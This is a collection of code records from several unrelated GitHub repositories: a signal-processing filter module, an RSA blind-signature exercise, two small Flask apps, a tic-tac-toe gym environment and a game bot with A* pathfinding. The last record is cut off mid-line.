{"seq_id":"25402849024","text":"\"\"\"\nA module for specific filter applications.\n\"\"\"\nfrom __future__ import annotations\n\nimport numpy as np\nimport scipy.signal\nfrom typing_extensions import Literal\n\nfrom .._helper import export\nfrom ._fir import FIR\nfrom ._iir import IIR\n\n\n@export\nclass MovingAverager(FIR):\n    r\"\"\"\n    Implements a moving average FIR filter.\n\n    Notes:\n        A discrete-time moving average with length $L$ is a FIR filter with impulse response\n\n        $$h[n] = \\frac{1}{L}, \\quad 0 \\le n \\le L - 1 .$$\n\n    Examples:\n        Create a FIR moving average filter and a IIR leaky integrator filter.\n\n        .. ipython:: python\n\n            fir = sdr.MovingAverager(30)\n            iir = sdr.LeakyIntegrator(1 - 2 / 30)\n\n        Compare the step responses.\n\n        .. ipython:: python\n\n            @savefig sdr_MovingAverager_1.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.step_response(fir, N=100, label=\"Moving Averager\"); \\\n            sdr.plot.step_response(iir, N=100, label=\"Leaky Integrator\");\n\n        Compare the magnitude responses.\n\n        .. ipython:: python\n\n            @savefig sdr_MovingAverager_2.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.magnitude_response(fir, label=\"Moving Averager\"); \\\n            sdr.plot.magnitude_response(iir, label=\"Leaky Integrator\"); \\\n            plt.ylim(-35, 5);\n\n        Compare the output of the two filters to a Gaussian random process.\n\n        .. ipython:: python\n\n            x = np.random.randn(1_000) + 2.0; \\\n            y_fir = fir(x); \\\n            y_iir = iir(x)\n\n            @savefig sdr_MovingAverager_3.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(y_fir, label=\"Moving Averager\"); \\\n            sdr.plot.time_domain(y_iir, label=\"Leaky Integrator\");\n\n    Group:\n        dsp-filter-applications\n    \"\"\"\n\n    def __init__(self, length: int, streaming: bool = False):\n        \"\"\"\n        Creates a moving average FIR filter.\n\n        Arguments:\n            length: The length of the moving average filter $L$.\n            streaming: Indicates whether to use streaming mode. In streaming mode, previous inputs are\n                preserved between calls to :meth:`~sdr.MovingAverager.__call__()`.\n\n        Examples:\n            See the :ref:`fir-filters` example.\n        \"\"\"\n        if not isinstance(length, int):\n            raise TypeError(f\"Argument 'length' must be an integer, not {type(length).__name__}.\")\n        if not length > 1:\n            raise ValueError(f\"Argument 'length' must be greater than 1, not {length}.\")\n\n        h = np.ones(length) / length\n\n        super().__init__(h, streaming=streaming)\n\n\n@export\nclass Differentiator(FIR):\n    r\"\"\"\n    Implements a differentiator FIR filter.\n\n    Notes:\n        A discrete-time differentiator is a FIR filter with impulse response\n\n        $$h[n] = \\frac{(-1)^n}{n} \\cdot h_{win}[n], \\quad -\\frac{N}{2} \\le n \\le \\frac{N}{2} .$$\n\n        The truncated impulse response is multiplied by the windowing function $h_{win}[n]$.\n\n    References:\n        - Michael Rice, *Digital Communications: A Discrete Time Approach*, Section 3.3.3.\n\n    Examples:\n        Create a differentiator FIR filter.\n\n        .. ipython:: python\n\n            fir = sdr.Differentiator()\n\n        Differentiate a Gaussian pulse.\n\n        .. ipython:: python\n\n            x = sdr.gaussian(0.3, 5, 10); \\\n            y = fir(x, \"same\")\n\n            @savefig sdr_Differentiator_1.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(x, label=\"Input\"); \\\n            sdr.plot.time_domain(y, label=\"Derivative\"); \\\n            plt.title(\"Discrete-time differentiation of a Gaussian pulse\"); \\\n            plt.tight_layout();\n\n        Differentiate a raised cosine pulse.\n\n        .. ipython:: python\n\n            x = sdr.root_raised_cosine(0.1, 8, 10); \\\n            y = fir(x, \"same\")\n\n            @savefig sdr_Differentiator_2.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(x, label=\"Input\"); \\\n            sdr.plot.time_domain(y, label=\"Derivative\"); \\\n            plt.title(\"Discrete-time differentiation of a raised cosine pulse\"); \\\n            plt.tight_layout();\n\n        Plot the frequency response across filter order.\n\n        .. ipython:: python\n\n            fir_2 = sdr.Differentiator(2); \\\n            fir_6 = sdr.Differentiator(6); \\\n            fir_10 = sdr.Differentiator(10); \\\n            fir_20 = sdr.Differentiator(20); \\\n            fir_40 = sdr.Differentiator(40); \\\n            fir_80 = sdr.Differentiator(80)\n\n            @savefig sdr_Differentiator_3.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.magnitude_response(fir_2, y_axis=\"linear\", label=\"N=2\"); \\\n            sdr.plot.magnitude_response(fir_6, y_axis=\"linear\", label=\"N=6\"); \\\n            sdr.plot.magnitude_response(fir_10, y_axis=\"linear\", label=\"N=10\"); \\\n            sdr.plot.magnitude_response(fir_20, y_axis=\"linear\", label=\"N=20\"); \\\n            sdr.plot.magnitude_response(fir_40, y_axis=\"linear\", label=\"N=40\"); \\\n            sdr.plot.magnitude_response(fir_80, y_axis=\"linear\", label=\"N=80\"); \\\n            f = np.linspace(0, 0.5, 100); \\\n            plt.plot(f, np.abs(2 * np.pi * f)**2, color=\"k\", linestyle=\"--\", label=\"Theory\"); \\\n            plt.legend(); \\\n            plt.title(\"Magnitude response of differentiator FIR filters\"); \\\n            plt.tight_layout();\n\n    Group:\n        dsp-filter-applications\n    \"\"\"\n\n    def __init__(self, order: int = 20, window: str | float | tuple | None = \"blackman\", streaming: bool = False):\n        \"\"\"\n        Creates a differentiator FIR filter.\n\n        Arguments:\n            order: The order of the FIR differentiator $N$. The filter length is $N + 1$.\n                Increasing the filter order increases the bandwidth of the differentiator.\n            window: The SciPy window definition. See :func:`scipy.signal.windows.get_window` for details.\n                If `None`, no window is applied.\n            streaming: Indicates whether to use streaming mode. In streaming mode, previous inputs are\n                preserved between calls to :meth:`~sdr.Differentiator.__call__()`.\n\n        Examples:\n            See the :ref:`fir-filters` example.\n        \"\"\"\n        if not isinstance(order, int):\n            raise TypeError(\"Argument 'order' must be an integer, not {type(order).__name__}.\")\n        if not order > 0:\n            raise ValueError(f\"Argument 'order' must be positive, not {order}.\")\n        if not order % 2 == 0:\n            raise ValueError(f\"Argument 'order' must be even, not {order}.\")\n\n        n = np.arange(-order // 2, order // 2 + 1)  # Sample index centered about 0\n        with np.errstate(divide=\"ignore\"):\n            h = (-1.0) ** n / n  # Impulse response\n        h[order // 2] = 0\n\n        if window is not None:\n            h_win = scipy.signal.windows.get_window(window, order + 1, fftbins=False)\n            h *= h_win\n\n        super().__init__(h, streaming=streaming)\n\n    # TODO: Use np.diff() if it is faster\n\n\n@export\nclass Integrator(IIR):\n    r\"\"\"\n    Implements an integrator IIR filter.\n\n    Notes:\n        A discrete-time integrator is an IIR filter that continuously accumulates the input signal.\n        Accordingly, it has infinite gain at DC.\n\n        The backward integrator is defined by:\n\n        $$y[n] = y[n-1] + x[n-1]$$\n        $$H(z) = \\frac{z^{-1}}{1 - z^{-1}}$$\n\n        The trapezoidal integrator is defined by:\n\n        $$y[n] = y[n-1] + \\frac{1}{2}x[n] + \\frac{1}{2}x[n-1]$$\n        $$H(z) = \\frac{1}{2} \\frac{1 + z^{-1}}{1 - z^{-1}}$$\n\n        The forward integrator is defined by:\n\n        $$y[n] = y[n-1] + x[n]$$\n        $$H(z) = \\frac{1}{1 - z^{-1}}$$\n\n    Examples:\n        Create integrating IIR filters.\n\n        .. ipython:: python\n\n            iir_back = sdr.Integrator(\"backward\"); \\\n            iir_trap = sdr.Integrator(\"trapezoidal\"); \\\n            iir_forw = sdr.Integrator(\"forward\")\n\n        Integrate a Gaussian pulse.\n\n        .. ipython:: python\n\n            x = sdr.gaussian(0.3, 5, 10); \\\n            y_back = iir_back(x); \\\n            y_trap = iir_trap(x); \\\n            y_forw = iir_forw(x)\n\n            @savefig sdr_Integrator_1.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(x, label=\"Input\"); \\\n            sdr.plot.time_domain(y_back, label=\"Integral (backward)\"); \\\n            sdr.plot.time_domain(y_trap, label=\"Integral (trapezoidal)\"); \\\n            sdr.plot.time_domain(y_forw, label=\"Integral (forward)\"); \\\n            plt.title(\"Discrete-time integration of a Gaussian pulse\"); \\\n            plt.tight_layout();\n\n        Integrate a raised cosine pulse.\n\n        .. ipython:: python\n\n            x = sdr.root_raised_cosine(0.1, 8, 10); \\\n            y_back = iir_back(x); \\\n            y_trap = iir_trap(x); \\\n            y_forw = iir_forw(x)\n\n            @savefig sdr_Integrator_2.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(x, label=\"Input\"); \\\n            sdr.plot.time_domain(y_back, label=\"Integral (backward)\"); \\\n            sdr.plot.time_domain(y_trap, label=\"Integral (trapezoidal)\"); \\\n            sdr.plot.time_domain(y_forw, label=\"Integral (forward)\"); \\\n            plt.title(\"Discrete-time integration of a raised cosine pulse\"); \\\n            plt.tight_layout();\n\n        Plot the frequency responses.\n\n        .. ipython:: python\n\n            @savefig sdr_Integrator_3.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.magnitude_response(iir_back, label=\"Backward\"); \\\n            sdr.plot.magnitude_response(iir_trap, label=\"Trapezoidal\"); \\\n            sdr.plot.magnitude_response(iir_forw, label=\"Forward\"); \\\n            f = np.linspace(0, 0.5, 100); \\\n            plt.plot(f, sdr.db(np.abs(1/(2 * np.pi * f))**2), color=\"k\", linestyle=\"--\", label=\"Theory\"); \\\n            plt.legend(); \\\n            plt.title(\"Magnitude response of integrating IIR filters\"); \\\n            plt.tight_layout();\n\n    Group:\n        dsp-filter-applications\n    \"\"\"\n\n    def __init__(self, method: Literal[\"backward\", \"trapezoidal\", \"forward\"] = \"trapezoidal\", streaming: bool = False):\n        \"\"\"\n        Creates an integrating IIR filter.\n\n        Arguments:\n            method: The integration method.\n\n                - `\"backward\"`: Rectangular integration with height $x[n-1]$.\n                - `\"trapezoidal\"`: Trapezoidal integration with heights $x[n-1]$ and $x[n]$.\n                - `\"forward\"`: Rectangular integration with height $x[n]$.\n\n            streaming: Indicates whether to use streaming mode. In streaming mode, previous inputs and outputs are\n                preserved between calls to :meth:`~Integrator.__call__()`.\n\n        Examples:\n            See the :ref:`iir-filters` example.\n        \"\"\"\n        if method == \"backward\":\n            super().__init__([0, 1], [1, -1], streaming=streaming)\n        elif method == \"forward\":\n            super().__init__([1], [1, -1], streaming=streaming)\n        elif method == \"trapezoidal\":\n            super().__init__([0.5, 0.5], [1, -1], streaming=streaming)\n        else:\n            raise ValueError(f\"Argument 'method' must be 'backward', 'forward', or 'trapezoidal', not {method!r}.\")\n\n    # TODO: Use np.cumsum() if it is faster\n\n\n@export\nclass LeakyIntegrator(IIR):\n    r\"\"\"\n    Implements a leaky integrator IIR filter.\n\n    Notes:\n        A discrete-time leaky integrator is an IIR filter that approximates an FIR moving average.\n        The previous output is remembered with the leaky factor $\\alpha$ and the new input is scaled with $1 - \\alpha$.\n\n        The difference equation is\n\n        $$y[n] = \\alpha \\cdot y[n-1] + (1 - \\alpha) \\cdot x[n] .$$\n\n        The transfer functions is\n\n        $$H(z) = \\frac{1 - \\alpha}{1 - \\alpha z^{-1}} .$$\n\n        .. code-block:: text\n            :caption: IIR Integrator Block Diagram\n\n                  1 - alpha\n            x[n] ----------->@---------------+--> y[n]\n                             ^               |\n                       alpha |   +------+    |\n                             +---| z^-1 |<---+\n                                 +------+\n\n    Examples:\n        Create a FIR moving average filter and a IIR leaky integrator filter.\n\n        .. ipython:: python\n\n            fir = sdr.MovingAverager(30)\n            iir = sdr.LeakyIntegrator(1 - 2 / 30)\n\n        Compare the step responses.\n\n        .. ipython:: python\n\n            @savefig sdr_LeakyIntegrator_1.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.step_response(fir, N=100, label=\"Moving Averager\"); \\\n            sdr.plot.step_response(iir, N=100, label=\"Leaky Integrator\");\n\n        Compare the magnitude responses.\n\n        .. ipython:: python\n\n            @savefig sdr_LeakyIntegrator_2.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.magnitude_response(fir, label=\"Moving Averager\"); \\\n            sdr.plot.magnitude_response(iir, label=\"Leaky Integrator\"); \\\n            plt.ylim(-35, 5);\n\n        Compare the output of the two filters to a Gaussian random process.\n\n        .. ipython:: python\n\n            x = np.random.randn(1_000) + 2.0; \\\n            y_fir = fir(x); \\\n            y_iir = iir(x)\n\n            @savefig sdr_LeakyIntegrator_3.png\n            plt.figure(figsize=(8, 4)); \\\n            sdr.plot.time_domain(y_fir, label=\"Moving Averager\"); \\\n            sdr.plot.time_domain(y_iir, label=\"Leaky Integrator\");\n\n    Group:\n        dsp-filter-applications\n    \"\"\"\n\n    def __init__(self, alpha: float, streaming: bool = False):\n        r\"\"\"\n        Creates a leaky integrator IIR filter.\n\n        Arguments:\n            alpha: The leaky factor $\\alpha$. An FIR moving average with length $L$ is approximated when\n                $\\alpha = 1 - 2/L$.\n            streaming: Indicates whether to use streaming mode. In streaming mode, previous inputs and outputs are\n                preserved between calls to :meth:`~LeakyIntegrator.__call__()`.\n\n        Examples:\n            See the :ref:`iir-filters` example.\n        \"\"\"\n        if not isinstance(alpha, float):\n            raise TypeError(f\"Argument 'alpha' must be a float, not {type(alpha).__name__}.\")\n        if not 0 <= alpha <= 1:\n            raise ValueError(f\"Argument 'alpha' must be between 0 and 1, not {alpha}.\")\n\n        b = [1 - alpha]\n        a = [1, -alpha]\n\n        super().__init__(b, a, streaming=streaming)\n\n    # TODO: Use np.cumsum() if it is faster\n","repo_name":"mhostetter/sdr","sub_path":"src/sdr/_filter/_applications.py","file_name":"_applications.py","file_ext":"py","file_size_in_byte":14464,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"35"}
{"seq_id":"31129719108","text":"from random import randrange, sample\nfrom converter import *\nfrom functools import reduce\n\n\ndef calculate_B(k, ID, n, e, inv, size = 2**20):\n    B, quadruples = [[0 for i in range(2*k)] for i in range(2)]\n    f_x_y = []\n    for i in range(2 * k):\n        a_i, c_i, d_i, r_i = [randrange(1, size) for x in range(4)]\n        B[i] = calculate_B_i(a_i, c_i, d_i, r_i, ID, e, n, f_x_y)\n        quadruples[i] = a_i, c_i, d_i, r_i\n    return B, quadruples, f_x_y\n\ndef calculate_B_i(a, c, d, r, ID, e, n, f = None):\n    x_i = sha1_hash(a + c)\n    y_i = sha1_hash(a ^ ID + d)\n    f_x_y = bytes_to_int(x_i) * bytes_to_int(y_i)\n\n    if f is not None:\n        f.append(f_x_y)\n    B_i = r**e * f_x_y % n\n    return B_i\n\ndef receive_signature(B, ID, priv_key, e, n, R, quadruples):\n    for i in R:\n        a, c, d, r = quadruples[i]\n        B_i = calculate_B_i(a, c, d, r, ID, e, n)\n        if(B_i != B[i]):\n            raise Exception(\"Values are not equal\")\n    R_sign = [i for i in range(len(B)) if i not in R]\n    B_to_sign = [B[i] for i in R_sign]\n    signed_B = pow(reduce(lambda x, y : x * y %n, B_to_sign), priv_key, n)\n    return signed_B, R_sign\n\ndef calc_S(signed_B, quadruples, n, R_sign):\n    r = [quadruples[i][3] for i in R_sign]\n    S = signed_B * mulinv(reduce(lambda x, y : x * y , r), n) % n\n    return S\n\n# Taken from\n#https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithm\ndef extendex_euc_alg(x, n):\n    x0, x1, y0, y1 = 1, 0, 0, 1\n    while n != 0:\n        q, x, n = x // n, n, x % n\n        x0, x1 = x1, x0 - q * x1\n        y0, y1 = y1, y0 - q * y1\n    return  x, x0, y0\n\n# x = mulinv(b) mod n, (x * b) % n == 1\ndef mulinv(b, n):\n    g, x, _ = extendex_euc_alg(b, n)\n    if g == 1:\n        return x % n\n\ndef totient(p, q):\n    return (p - 1) * (q - 1)\n\np, q, e = 1300097, 1299721, 17\nn = p * q # 127*89= 11303\ntotient_n = totient(p, q)\nID =  1251261711\nk = 100\npriv_key  = mulinv(e, totient_n)\n# print(\"INV\", priv_key)\nfor i in range(1000):\n    B, quadruples, f_x_y = calculate_B(k, ID, n, e, priv_key) # STEP 1\n    R = sample(range(len(B)), len(B) // 2) # STEP 2\n    quadruples_R = {i: quadruples[i] for i in R}\n    signed_B, R_sign = receive_signature(B, ID, priv_key, e, n, R, quadruples_R) #STEP 3.2\n\n    f_sign = [f_x_y[i] for i in R_sign]\n    prod_sum_f = reduce(lambda x, y: x * y, f_sign)\n    x = pow(prod_sum_f, priv_key, n)\n\n    S = calc_S(signed_B, quadruples, n, R_sign)\n    print(\"SIGNED VALUE OK\", S == x)\n    print(\"SIGNATURE OK\", prod_sum_f % n == pow(S, e, n))\n    # print(S)\n","repo_name":"antongoransson/eitn41","sub_path":"HA1/C1.py","file_name":"C1.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12925652522","text":"from flask import Flask, redirect, render_template, request, session, url_for\nimport os\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    return render_template(\"index.html\")\n\n@app.route(\"/result\", methods=[\"POST\"])\ndef result():\n    # Imports the Google Cloud client library\n    from google.cloud import language\n    import numpy, re\n\n    # Instantiates a client\n    language_client = language.Client()\n\n    # The text to analyze\n    para = request.form[\"text\"]\n    thresholdFactor = int(request.form[\"thresholdFactor\"])\n    text = re.split(r'[.!?]+', para)\n\n    pair_message = []\n\n    for data in text:\n        data = data.strip()\n        document = language_client.document_from_text(data)\n        # Detects the sentiment of the text\n        sentiment = document.analyze_sentiment().sentiment\n        pair_message.append([data, sentiment.magnitude])\n\n    mean_mag = numpy.mean([x[1] for x in pair_message])\n    median_mag = numpy.median([x[1] for x in pair_message])\n\n    print\n    processed_text = \"\"\n    count = 0\n    threshold = min(mean_mag, median_mag)\n    for sentence in pair_message:\n        if sentence[1] >= threshold * ((thresholdFactor - 0.5)/ 2):\n            count += 1\n            location = para.index(sentence[0])\n            processed_text += para[location:location + len(sentence[0]) + 1] + \" \"\n    return render_template(\"success.html\", display = processed_text)\n\nif __name__ == '__main__':\n     app.debug = True\n     port = int(os.environ.get(\"PORT\", 5000))\n     app.run(host='0.0.0.0', port=port)\n","repo_name":"gavinmak/Cut-It-Out","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71337298340","text":"for aa in range(int(input())):\n    n=int(input())\n    li=list(map(int,input().split()))\n    s=1\n    x=[]\n    for i in li:\n      s*=i\n      x.append(s)\n    k=x[n-1]\n    r=-1\n    for i in range(n-1):\n       if(k/x[i]==x[i]):\n          r=i+1\n          break\n    # print(r,x)\n    if(r==-1):\n       print(-1)\n       continue\n    else:\n       print(r)\n    \n\n       \n   \n\n","repo_name":"Ayush110103/My-Competative-programing-Files","sub_path":"Programs/A_One_and_Two.py","file_name":"A_One_and_Two.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"44383410980","text":"import math\nimport random\nimport gym\nfrom gym import spaces\nimport numpy as np\n\nDRAW = 3\n\n\nclass TicTacToe(gym.Env):\n    def __init__(self):\n        self.board = np.zeros(shape=(3, 3), dtype=np.int)\n        self.observation_space = spaces.Box(\n            low=0, high=2, shape=(3, 3), dtype=np.int)\n        self.action_space = spaces.Discrete(9)\n        #self.play_against_human = play_against_human\n\n        self.done = False\n        self.symbol = 1\n        self.opp_symbol = 2\n\n    def get_observation(self):\n        return np.copy(self.board)\n\n    def board_is_full(self):\n        if np.isin(0, self.board):\n            return False\n        else:\n            return True\n\n    def pos_is_available(self, pos):\n        x = pos % 3\n        y = int(pos/3)\n\n        #print(\"Coords:\", x, y)\n\n        if self.board[x, y] == 0:\n            return True\n        else:\n            return False\n\n    def put_random(self):\n        x = random.randint(0, 8)\n\n        while not self.pos_is_available(x):\n            x = random.randint(0, 8)\n\n        return self.mark(x, self.opp_symbol)\n\n    def reset(self):\n        self.done = False\n        self.board = np.zeros(shape=(3, 3), dtype=np.int)\n\n        x = random.randint(0, 1)\n\n        if x == 1:\n            self.put_random()\n\n        return self.get_observation()\n\n    def mark(self, pos, sym):\n        x = pos % 3\n        y = int(pos/3)\n\n        #print(\"Coords:\", x, y)\n        reward = -1\n\n        if self.board[x, y] == 0:\n            self.board[x, y] = sym\n            valid = True\n        else:\n            valid = False\n\n        if not valid:\n            reward = -40\n            self.done = True\n        else:\n            win = self.check_end()\n\n            if win == self.symbol:\n                reward = 20\n                self.done = True\n            elif win == self.opp_symbol:\n                reward = -20\n                self.done = True\n            elif win == DRAW:\n                reward = 10\n                self.done = True\n\n        return reward\n\n    def check_end(self):\n        for i in range(3):\n            if self.board[i, 0] == self.board[i, 1] == self.board[i, 2]:\n                sym = self.board[i, 0]\n                if sym != 0:\n                    return sym\n            if self.board[0, i] == self.board[1, i] == self.board[2, i]:\n                sym = self.board[0, i]\n                if sym != 0:\n                    return sym\n\n        if self.board[0, 0] == self.board[1, 1] == self.board[2, 2]:\n            sym = self.board[0, 0]\n            if sym != 0:\n                return sym\n        elif self.board[0, 2] == self.board[1, 1] == self.board[2, 0]:\n            sym = self.board[0, 2]\n            if sym != 0:\n                return sym\n\n        if not self.board_is_full():\n            return 0\n        else:\n            return DRAW\n\n    def step(self, act):\n        reward = self.mark(act, self.symbol)\n\n        if not self.done:\n            reward = self.put_random()\n\n        return self.get_observation(), reward, self.done, {}\n\n    def render(self, mode='human'):\n        print(\"---------------\")\n        for x in range(3):\n            for y in range(3):\n                print(self.board[y, x], end=\" \")\n            print(\"\")\n        print(\"---------------\")\n","repo_name":"carlosvelaquez/mql-algotrading","sub_path":"Reinforcement Learning/V2 - Tyro/tictactoe/tictactoe.py","file_name":"tictactoe.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"45666820656","text":"from flask import Flask,render_template,request,redirect  \nfrom cs50 import SQL\n    \n\napp=Flask(__name__)\n\ndb=SQL(\"sqlite:///froshims.db\")\n\n\n\n\n@app.route(\"/\",methods=[\"POST\",\"GET\"])\ndef index():\n    if request.method==\"GET\":\n        return render_template(\"main.html\")\n    if request.method==\"POST\":\n        \n        x = request.form.get(\"name\")\n        if x==\"\":\n            return \"Name required\"\n        y=request.form.get(\"sport\") \n        db.execute(\"INSERT INTO registrants (name,sport) VALUES(?,?)\",x,y)\n        \n        return redirect(\"/done\")\n\n@app.route(\"/done\")\ndef done():\n    l = db.execute(\"SELECT * FROM registrants \")\n    return render_template(\"added.html\",l=l)\n\n\nif __name__== \"__main__\":\n    app.run()\n\n\n\n\n\n\n        \n","repo_name":"Almas-ansari/sports-trial-register","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6246379827","text":"import sys\nfrom enum import Enum\nfrom heapq import *\nfrom math import cos, sin, pi, sqrt, tan, nan\nimport random\n\nimport pygame\nimport copy\n\nfrom client.game.src.core.bot.a_star import A_Star\nfrom client.game.src.core.bot.maze import Maze, path_from\nfrom client.game.src.core.stat_bar.stat_bar import StatBar\nfrom client.game.src.utils.config import Config\n\nclass Drive(Enum):\n    FORWARD = 0\n    BACKWARD = 1\n\n\nclass Rotate(Enum):\n    LEFT = 0\n    RIGHT = 1\n\n\nclass ExpectRotate(float, Enum):\n    UP = 270\n    DOWN = 90\n    LEFT = 180\n    RIGHT = 0\n\n\nclass DirectionAngle(float, Enum):\n    UP = 90\n    DOWN = 270\n    LEFT = 180\n    RIGHT = 0\n\n\nclass BotController:\n    SHOT_DISTANCE = 30\n    ANGLE_OFFSET = 10\n    POS_OFFSET = 20\n    COLISION_OFFSET = 10\n    DETECTION_OFFSET = 30\n    FLEE_ANGLE = 70\n    DISTANCE_OFFSET = 15\n    ANGLE_SENSITIVITY = 30\n\n\n    def __init__(self, screen, game, player, id):\n        self.id = id\n        self.screen = screen\n        self.game = game\n        self.player = player\n        self.map = self.read_map(game.map.data)\n        self.node = None\n        self.x = 0\n        self.y = 0\n        self.glitch_time = 0\n        self.flee_timer = 0\n        self.flee_dir = 0\n        self.last_bullet_angle = 0\n        self.enemy = None\n\n    def distance(self, player):\n        return abs(self.player.position[0] - player.position[0]) + abs(self.player.position[1] - player.position[1])\n\n    def set_enemy(self):\n        self.enemy = self.find_closest_player()\n\n    def find_closest_player(self):\n        minDistance = sys.maxsize\n        minPlayer = None\n\n        for player in self.game.players:\n            if player != self.player:\n                if minDistance > self.distance(player):\n                    minDistance = self.distance(player)\n                    minPlayer = player\n        return minPlayer\n\n    def read_map(self, map):\n        # for i in range(len(map)):\n        #     print(map[i])\n        for i in range(len(map)):\n            map[i] = list(map[i])\n            for j in range(len(map[i])):\n                if map[i][j] == 'S':\n                    map[i][j] = '.'\n\n        return map\n\n    def astar(self, maze):\n        start_node = maze.find_node('S')\n        self.node = (start_node.x, start_node.y)\n        start_node.visited = True\n        end_node = maze.find_node('E')\n        start_node.cost = abs(end_node.x - start_node.x) + abs(end_node.y - start_node.y)\n        q = []\n        id = 0\n        heappush(q, (start_node.cost, id, start_node))\n        while q:\n            node = heappop(q)[2]  # LIFO\n            node.visited = True\n            if node.type == 'E':\n                return path_from(node)\n\n            children = maze.get_possible_movements(node)\n            for child in children:\n                if not child.visited:\n                    child.parent = node\n                    child.moves_cost = node.moves_cost + maze.move_cost(child)\n                    child.cost = abs(end_node.x - child.x) + abs(end_node.y - child.y) + child.moves_cost\n                    id += 1\n                    heappush(q, (child.cost, id, child))\n\n        return None\n\n    def find_path(self):\n        # player = self.find_closest_player()  # gdyby bylo wiecej graczy trzeba uzywac tej metody\n        player = self.enemy\n        new_map = copy.deepcopy(self.map)\n        width = self.game.assets.width\n        height = self.game.assets.height\n\n        self.x = int(self.player.position[0] / width)\n        self.y = int(self.player.position[1] / height)\n\n        new_map[self.y][self.x] = 'S'\n        x2 = int(player.position[0] / width)\n        y2 = int(player.position[1] / height)\n        new_map[y2][x2] = 'E'\n\n        if (self.x, self.y) == (x2, y2):\n            return None, None, 0\n        maze = Maze(new_map)\n        maze.path = self.astar(maze)\n        # maze.draw()\n\n        act = maze.path[len(maze.path) - 1]\n        new = maze.path[len(maze.path) - 2]\n        return (act.x, act.y), (new.x, new.y), len(maze.path)\n\n    def move(self):\n        if self.enemy.is_alive():\n            actual_point, new_point, length = self.find_path()\n            if actual_point:\n                if actual_point[1] < new_point[1]:\n                    return length, ExpectRotate.UP\n                if actual_point[1] > new_point[1]:\n                    return length, ExpectRotate.DOWN\n                if actual_point[0] < new_point[0]:\n                    return length, ExpectRotate.RIGHT\n                if actual_point[0] > new_point[0]:\n                    return length, ExpectRotate.LEFT\n        return 0, self.player.angle  # stay\n\n    def diagonal_distance(self):\n        \"\"\"\n        :return: diagonal distance between bot and an enemy.\n        :rtype: float\n        \"\"\"\n        e_x, e_y = self.enemy.position\n        b_x, b_y = self.player.position\n        return sqrt(pow(b_x - e_x, 2) + pow(b_y - e_y, 2))\n\n    def checkMove(self, directory, pos):\n        # for i in range(len(self.map)):\n        #   print(self.map[i])\n\n        if directory == DirectionAngle.DOWN and self.map[pos[1] + 1][pos[0]] != \"#\":\n            return True\n        elif directory == DirectionAngle.UP and self.map[pos[1] - 1][pos[0]] != \"#\":\n            return True\n        elif directory == DirectionAngle.RIGHT and self.map[pos[1]][pos[0] + 1] != \"#\":\n            return True\n        elif directory == DirectionAngle.LEFT and self.map[pos[1]][pos[0] - 1] != \"#\":\n            return True\n\n        return False\n\n    @property\n    def move2(self):\n        moves = []\n        self.actual_pos = \"\"\n        if self.enemy.is_alive():\n            self.actual_pos, new_point, length = self.find_path()\n            if self.actual_pos:\n                moves = [DirectionAngle.DOWN, DirectionAngle.UP, DirectionAngle.RIGHT, DirectionAngle.LEFT]\n                opponent_possition = None\n                if (self.actual_pos[1] < new_point[1]):\n                    opponent_possition = DirectionAngle.DOWN\n                elif (self.actual_pos[1] > new_point[1]):\n                    opponent_possition = DirectionAngle.UP\n                elif (self.actual_pos[0] < new_point[0]):\n                    opponent_possition = DirectionAngle.RIGHT\n                elif (self.actual_pos[0] > new_point[0]):\n                    opponent_possition = DirectionAngle.LEFT\n\n                # print(\"oppo:\", opponent_possition)\n                moves.remove(opponent_possition)\n                for move in moves:\n                    if not self.checkMove(move, self.actual_pos):\n                        moves.remove(move)\n\n                if len(moves) == 0 and self.checkMove(opponent_possition, self.actual_pos):\n                    moves.append(opponent_possition)\n\n        if len(moves):\n            # print(self.actual_pos, new_point, moves, self.player.angle, self.player.lastMove)\n            for angle in moves:\n                # if self.lastMove and ((angle - 1 < self.lastMove < angle + 1) or (angle == DirectionAngle.RIGHT and 359 < self.lastMove < 361)):  # stay\n                if self.player.lastMove != None and angle == self.player.lastMove and self.checkMove(self.player.lastMove, self.actual_pos):\n                    return length, self.player.lastMove\n\n            r = random.randrange(0, len(moves), 1)\n            self.player.lastMove = moves[r]\n            # print(\"a? \", moves[r])\n            return length, moves[r]\n        # print(\"C\")\n        self.player.lastMove = self.player.angle\n        return 0, self.player.angle  # stay\n\n    def shot_condition(self, length):\n        \"\"\"\n        Checks if enemy is in a straight line with a bot and if bot faces the enemy.\n        :param int length: Length of a shortest path between bot and an enemy in a number of tiles.\n        :return: If bot is supposed to shot.\n        :rtype: bool\n        \"\"\"\n        if self.enemy.is_alive():\n            e_x, e_y = self.enemy.position\n            b_x, b_y = self.player.position\n            b_angle = self.player.angle\n            width = self.game.assets.width\n            height = self.game.assets.height\n            tile_size = (width + height) / 2\n            if length - 1 <= self.diagonal_distance() / tile_size:\n                if b_x - self.POS_OFFSET <= e_x <= b_x + self.POS_OFFSET:\n                    # enemy above\n                    if 